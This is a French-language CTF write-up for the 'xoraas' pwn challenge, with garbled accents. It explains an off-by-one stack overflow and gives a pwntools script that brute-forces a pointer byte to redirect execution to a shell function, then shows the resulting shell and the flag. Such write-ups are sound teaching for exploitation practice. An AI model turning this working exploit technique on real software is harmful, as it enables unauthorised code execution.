đ Description du challenge
DifficultĂ©: â
Architecture: Amd64
Mon setup:
- GDB avec pwndbg comme wrapper
- Binary Ninja
- Pwntools
Protection sur le binaire:
ââ$ pwn checksec --file ./xoraas
[*] '/home/number/Desktop/CTF/Hackropole/Pwn/Xoraas/xoraas'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Dans ce challenge réalisé par Cryptanalyse, il nous est demandé de recupérer le contenu du fichier flag.txt
en dĂ©tournant l’usage d’un binaire nommĂ© xoraas
.
Retro-inginiérie du binaire
Libre Ă vous d’utiliser le dĂ©compilateur de votre choix mais Ă©tant donnĂ© que j’ai dĂ©pensĂ© 80euros pour une licence Binary Ninja, je vais une fois de plus essayer de me persuader que c’est mieux que Ghidra et l’utiliser pour dĂ©compiler le binaire.
Voici la décompilation de la fonction main en C :
Et voici la décompilation de la fonction xor en C :
Sans oublier la décompilation de la fonction shell en C:
En bref il ne se passe pas grand chose de passionnant: le programme lit tout d’abord 0x80 octets via l’entrĂ©e standard dans la variable buf
de 0x80 octets
on obtient la taille de la variable via la ligne suivante:
004011ee 488d4580 lea rax, [rbp-0x80 {buf}]
Puis, le programme appelle la fonction xor en passant l’adresse de la variable buf
en paramĂštre.
La fonction xor
est aussi trÚs courte, elle lit 0x91 octets dans une variable aussi nommée buf
(par mes soins đ„ž). Ce qui est intĂ©ressant c’est que Ă notre plus grande suprise la variable buf
fait seulement 0x90 octets
00401178 488d8570ffffff lea rax, [rbp-0x90 {buf}]
Une fois nos 0x91 octets entrées, nos deux entrées sont xorées entre elles et nous sont ensuite affichés par la sortie standard.
Quant Ă la fonction shell
, elle appelle le binaire /bin/sh via le syscall execve
nous permettant d’avoir un accĂšs au terminal de la machine.
On fait quoi
Pour rĂ©sumer, on a un off by one (en gros un dĂ©passement de 1 octet) sur la stack. Voyons voir ce que l’on peut en faire.
En mettant un breakpoint sur l’appel Ă fread dans la fonction xor
,
on rĂ©cupĂšre l’addresse sur la stack qui va “recevoir” nos donnĂ©es:
Hop on a notre adresse: 0x7fffffffdab0
. Toujours avec gdb, on va regarder ce qu’il se passe 0x90 octets aprĂšs cette adresse.
Tiens tiens tiens un pointeur vers la stack đ„ž et encore mieux un pointeur vers l’adresse de retour de la fonction main
.
En réécrivant le LSB (least significant bit) de ce pointeur, il doit nous ĂȘtre possible de le faire pointer vers la fonction de notre choix
On a maintenant tous les Ă©lĂ©ments nous permettant de rediriger l’exĂ©cution du programme vers la fonction shell
.
đŁ Exploit
Pour avoir mon shell, j’ai optĂ© pour une mĂ©thode un peu barbare qui consiste Ă bruteforcer le LSB du pointeur de l’adresse de retour pour le faire pointer - oĂč non - vers l’adresse de la fonction shell.
Je vais Ă©numerer les Ă©tapes que l’on va devoir effectuer pour parvenir Ă nos fins:
- Envoyer 0x80 fois le caractĂšre \x00 afin que l’on ne soit pas embĂȘtĂ© par le xor (0 ^ x = x)
- Envoyer 18 fois l’adresse de shell (car ca donne 0x90 octets) + la valeur que l’on veut donner au LSB de l’adresse de retour.
- Enjoy le shell (đ€)
Pour intĂ©ragir avec le binaire et lui fournir ma/mes charge(s) utile(s) j’ai utilisĂ© la librairie pwntools avec python3:
from pwn import *
elf = ELF('./xoraas')
pk=make_packer('all')
for i in range(256):
p = remote('localhost', 4000)
p.send(b"\0"*0x80)
payload = p64(0x401142)*18
payload += pk(i)
p.send(payload)
p.clean()
try:
p.send(b"echo PWNED\n")
check = p.recv(timeout=1)
if b"PWNED" in check:
print("Offset: %i" % i)
p.interactive()
break
except:
p.close()
continue
p.close()
Et finalement, en exécutant notre script, on obtient:
$ python working.py SILENT
Offset: 40
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag.txt
FCSC{0d6c81576d1465a876422910769e79af287c9e73254112572737383039194f5d}
Merci d’avoir lu jusqu’au bout, j’espĂšre avoir Ă©tĂ© clair dans mes propos et surtout un grand merci Ă Cryptanalyse pour ce challenge đ
si vous avez des questions n’hĂ©sitez pas Ă me contacter sur discord @numb3rss ou alors sur twitter